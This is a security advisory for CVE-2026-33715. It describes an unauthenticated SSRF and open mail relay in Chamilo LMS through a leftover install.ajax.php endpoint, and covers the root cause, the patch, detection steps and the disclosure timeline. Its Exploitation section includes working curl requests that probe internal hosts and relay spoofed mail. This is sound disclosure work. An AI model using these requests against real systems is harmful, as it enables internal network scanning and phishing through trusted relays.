CVE-2026-33715

CVSS 7.2 · High Patched
Type
Vulnerability research
Published
Reading time
7 min read
Author
rootzero
Lire en français
Lire en français →

CVE-2026-33715: unauthenticated SSRF and open mail relay in Chamilo LMS through install.ajax.php

A leftover installer endpoint in Chamilo LMS 2.0 let anyone make the server open SMTP connections to any host and send mail through it.

For your decision

Impact
The server can be made to contact an attacker-chosen SMTP destination and attempt to send email.
Conditions
The installer AJAX file must be reachable. Actual delivery depends on the SMTP relay reached.
Recommended action
Apply Chamilo 2.0-RC.3 or later and check exposure of installer files.

Advisory facts

Package
composer · chamilo/chamilo-lms
Affected versions
2.0-RC.2
Fixed in
2.0-RC.3
CVSS
7.2 High
Weakness
CWE-306, CWE-918
Access needed
No authentication
Advisory published
Credit
rootzero

Investigation summary

The installation wizard endpoint public/main/inc/ajax/install.ajax.php stayed reachable on installed Chamilo LMS 2.0 instances, with no session and no installation check. Its test_mailer action handed a DSN taken from the request to Symfony Mailer, so an unauthenticated attacker could make the server connect to any SMTP host and port and send a message to any address. Fixed in 2.0-RC.3.

An installer file still reachable after setup

We started by inventorying Chamilo’s directly executable AJAX files under public/main/inc/ajax/. Almost all loaded global.inc.php, which initialises the application and its checks. install.ajax.php loaded only the autoloader. Its test_mailer action accepted an SMTP DSN from a POST even after installation was complete. We prepared a no-cookie POST for an installed instance and checked the direct-file rewrite rule. The retained dossier contains the request and the code path, but no captured response from a running instance.

Following the request through Transport::fromDsn() and Mailer::send() showed where the server would attempt an outbound SMTP connection. We did not find a packet capture or successful relay transcript in the record, so the SMTP connection and mail-delivery effects remain code-backed, not locally observed outcomes. We found the issue on 22 March 2026 and reported it privately on the 23rd. Chamilo integrated a fix that day, released 2.0-RC.3 on 1 April and published CVE-2026-33715 on 14 April.

Why the old PHP file still ran

Chamilo 2.0 has Symfony routes and legacy PHP files under public/main/. We focused on the direct-file path because it does not necessarily pass through the Symfony firewall.

That dual structure matters for security. Requests for Symfony routes go through the front controller and its security firewall. Legacy scripts follow another path: the public/.htaccess shipped with Chamilo hands any existing file straight to PHP, and only rewrites the other requests to the front controller.

# public/.htaccess (2.0-RC.2)
# If the requested filename exists, simply serve it.
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^ %{ENV:BASE}/index.php [L]

A PHP file under public/ therefore runs on its own, protected only by what it includes. In the legacy tree, that protection starts with global.inc.php, which bootstraps the session, the configuration and the installation state, and is usually followed by an explicit check such as api_block_anonymous_users().

The one AJAX file without the application bootstrap

We listed the PHP files under public/main/inc/ajax/ and checked which ones loaded global.inc.php before handling a request. That inventory left one outlier.

install.ajax.php was the exception. It loads the Composer autoloader and nothing else. The name pointed to code written for the installation wizard, and a search for its actions showed test_mailer, which takes a raw Symfony Mailer DSN from the POST body. The preserved PoC constructs a no-cookie curl request, and the Apache rewrite rule serves an existing PHP file directly. We did not find its response from a fully installed instance in the research record.

Root cause

The file starts like this:

// public/main/inc/ajax/install.ajax.php (2.0-RC.2)
/**
 * Responses to AJAX calls for installation.
 */
require_once __DIR__.'/../../../../vendor/autoload.php';

There is no session, no user and no check that the platform is already installed (CWE-306). The test_mailer action then builds a mail transport from request data:

case 'test_mailer':
    $mailerDsn = $request ? (string) $request->request->get('mailerDsn') : get_post_param('mailerDsn');
    $mailerTestDestination = $request ? (string) $request->request->get('mailerTestDestination') : get_post_param('mailerTestDestination');
    $mailerFromEmail = $request ? (string) $request->request->get('mailerFromEmail') : get_post_param('mailerFromEmail');
    $mailerFromName = $request ? (string) $request->request->get('mailerFromName') : get_post_param('mailerFromName');
    // ... format checks on the From and destination addresses ...
    try {
        $transport = Transport::fromDsn($mailerDsn);
        $mailer = new Mailer($transport);

        $email = (new Email())
            ->from(new Address($mailerFromEmail, $mailerFromName))
            ->to($mailerTestDestination)
            ->subject('Chamilo Mail Test')
            ->text('This is a test e-mail sent from the Chamilo installation wizard.');

        $mailer->send($email);

        json_response(['success' => true]);
    } catch (\Throwable $e) {
        json_response([
            'success' => false,
            'message' => $e->getMessage(),
        ], 500);
    }

The only validation concerns the two e-mail addresses, which must be well formed. The DSN, which selects the transport, the host, the port and the credentials, reaches Transport::fromDsn() untouched. During installation this is the intended behaviour: the administrator types the SMTP settings and the wizard tests them. Once the platform is installed, the same code lets any visitor decide where the server connects (CWE-918). The catch block adds a third property: the mailer’s exception message goes back to the client word for word.

Exploitation

One unauthenticated POST request is enough. To probe an internal host:

curl -X POST "http://<target>/main/inc/ajax/install.ajax.php?a=test_mailer" \
  -d "mailerDsn=smtp://10.0.0.1:25" \
  -d "mailerFromEmail=test@chamilo.org" \
  -d "mailerFromName=Test" \
  -d "mailerTestDestination=attacker@evil.com"

The Chamilo server opens a TCP connection to 10.0.0.1:25 and starts an SMTP dialogue. The JSON answer tells the attacker how it went: success: true when a mail server accepted the message, or the mailer’s error otherwise, for instance a “Connection could not be established” message when nothing listens on the port. By changing the host and port in the DSN, the attacker turns the endpoint into a scanner for every network the Chamilo host can reach.

To send mail through a relay of the attacker’s choice:

curl -X POST "http://<target>/main/inc/ajax/install.ajax.php?a=test_mailer" \
  -d "mailerDsn=smtp://mail.chamilo.org:587" \
  -d "mailerFromEmail=security@chamilo.org" \
  -d "mailerFromName=Chamilo Security" \
  -d "mailerTestDestination=victim@target-org.com"

The subject and body are fixed by the code. The sender address, the display name, the recipient and the relay all come from the request. The message leaves from the Chamilo server’s own address, which is exactly what an internal relay that accepts mail from application servers without authentication looks at. The public proof of concept wraps both cases in a script.

Impact

The GitHub advisory scores the flaw 7.2 with AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N. No account is needed and no user has to do anything. The scope change reflects that the requests land on other systems: internal mail servers, or any TCP service the attacker wants to test.

The code allows a no-cookie caller to choose an SMTP endpoint and mailer fields. On an installed instance where outbound SMTP is permitted, error text and connection timing could reveal reachable internal services. If an internal relay accepts mail from the LMS host, the same path could send attacker-addressed messages through that relay. Neither a successful relay nor a network scan is preserved in our dossier, and this path does not by itself establish code execution or access to Chamilo data.

The fix

Chamilo fixed the file on 2026-03-23, the day after the discovery and the day the report was filed, in commit e9f6672 (“Security: Install: Block access to install.ajax.php in already installed instances”). The patch reads the .env file and refuses the request when the platform is flagged as installed:

// public/main/inc/ajax/install.ajax.php (2.0-RC.3)
$_envFile = __DIR__.'/../../../../.env';
if (file_exists($_envFile)) {
    try {
        (new Dotenv())->loadEnv($_envFile);
    } catch (\Throwable $e) {
        // If the .env cannot be parsed, fail safe and block.
        http_response_code(403);
        exit;
    }
}
$_appInstalled = (string) ($_SERVER['APP_INSTALLED'] ?? $_ENV['APP_INSTALLED'] ?? getenv('APP_INSTALLED') ?? '') === '1';
if ($_appInstalled) {
    http_response_code(403);
    exit;
}

APP_INSTALLED is the flag that the installer writes into .env and that src/Kernel.php and public/index.php already read, so the check relies on the same source of truth as the rest of the application. The patch fails closed when .env cannot be parsed, and it covers every action of the file, including send_contact_information, because it runs before the switch. The fix shipped in 2.0-RC.3, tagged on 2026-04-01.

Before installation the wizard stays open, which is unavoidable since no account exists yet. An instance left half installed would still expose it, one more reason to finish the installation before putting a server online.

The method that found this bug, listing the files that the web server runs directly and checking how they bootstrap, also led to a second unauthenticated SSRF in the same release, in the PENS plugin: CVE-2026-34160.

Detection and mitigation

  1. Update to 2.0-RC.3 or a later release.
  2. Deny access to /main/inc/ajax/install.ajax.php at the web server once the installation is complete, for instance with a Files block in Apache or a location rule in nginx; the wizard is the only legitimate user of the file.
  3. Search the access logs of installed instances for POST requests to install.ajax.php?a=test_mailer. No legitimate client sends them after installation.
  4. Search the logs of your mail relays for the subject Chamilo Mail Test. The code sets it, so every message sent through this path carries it.
  5. Filter outbound traffic from the LMS host so that it can only reach the SMTP relay it is configured to use, on the expected port. This contains this flaw and any later SSRF of the same kind.

Timeline

Date Event
2026-03-09 Chamilo 2.0-RC.2 released
2026-03-22 Vulnerability found
2026-03-23 Private report through GitHub security advisory GHSA-mxc9-9335-45mc
2026-03-23 Fix committed (e9f6672)
2026-04-01 Chamilo 2.0-RC.3 released
2026-04-14 Advisory GHSA-mxc9-9335-45mc published with CVE-2026-33715

References

  1. Vendor advisory · CVE-2026-33715 github.com/chamilo/chamilo-lms/security/advisories/GHSA-mxc9-9335-45mc
  2. NVD entry · CVE-2026-33715 nvd.nist.gov/vuln/detail/CVE-2026-33715
  3. CVE.org record · CVE-2026-33715 www.cve.org/CVERecord?id=CVE-2026-33715
  4. MITRE CWE-306 cwe.mitre.org/data/definitions/306.html
  5. MITRE CWE-918 cwe.mitre.org/data/definitions/918.html
  6. Project repository github.com/chamilo/chamilo-lms
  7. Proof of concept and reproduction notes github.com/romain-deperne/CVE-2026-33715

Cite this advisory

rootzero. “CVE-2026-33715: unauthenticated SSRF and open mail relay in Chamilo LMS through install.ajax.php”. Vulnerability research, rootzero, 14 April 2026. https://rootzero.eu/en/research/cve/cve-2026-33715-chamilo-ssrf-open-relay/

#Vulnerability research

Have your code audited before someone else does.

Your team needs to decide what to fix before a release or assess a critical dependency. We scope an engagement around that decision, with evidence and explained remediation priorities.